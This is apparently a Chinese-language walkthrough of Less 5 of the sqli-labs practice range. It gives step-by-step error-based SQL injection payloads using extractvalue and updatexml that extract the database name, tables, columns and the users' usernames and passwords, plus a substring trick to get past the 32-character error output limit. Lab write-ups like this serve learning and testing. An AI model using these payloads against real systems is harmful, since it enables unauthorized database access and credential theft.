文章目录
sqli-labs靶场
每道题都从以下模板讲解,并且每个步骤都有图片,清晰明了,便于复盘。
sql注入的基本步骤
- 注入点
- 注入类型
- 字符型:判断闭合方式 (‘、"、’'、“”)
- 数字型
- 根据实际情况,选择合适的注入方式
- 获取数据库名,表名,列名,数据
less 5 报错注入
- 题目类型: 字符型 ’ 闭合 (无回显)
id=1
显示 You are in
id=1’
显示报错信息,分析得到闭合方式是单引号
id=1’ order by 4–+
报错,说明不存在第4列
id=1’ order by 3 --+
正确回显,说明表的字段数为3列
分析该题,可以得到,输入错误语句会显示报错信息,因此我们可以使用报错注入
id=1’and+extractvalue(1,concat(0x7e,(select schema()),0x7e))–+
通过extractvalue函数报错注入得到数据库名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema=“security”) ,0x7e))–+
报错注入得到表名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_schema=“security” and table_name=“users”) ,0x7e))–+
报错注入得到字段名
id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+
或者 id=1’and+extractvalue(1,concat(0x7e, (select group_concat(id,“-”,username,“-”,password) from users) ,0x7e))–+ 推荐
报错注入得到数据
注意: 由于子查询返回的数据太长,但extractvalue函数报错输出字符有长度限制,最长32位,通过substr或者substring 截取获取 ->解决报错注入一次只能回显32字符的问题
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),1,32) from users) ,0x7e))–+
id=1’and+extractvalue(1,concat(0x7e, (select substring( group_concat(id,“-”,username,“-”,password),31,32) from users) ,0x7e))–+
- updatexml函数与extractvalue原理相似
id=1’+and+updatexml(1,concat(0x7e,(select group_concat(id,“-”,username,“-”,password) from users),0x7e),1)–+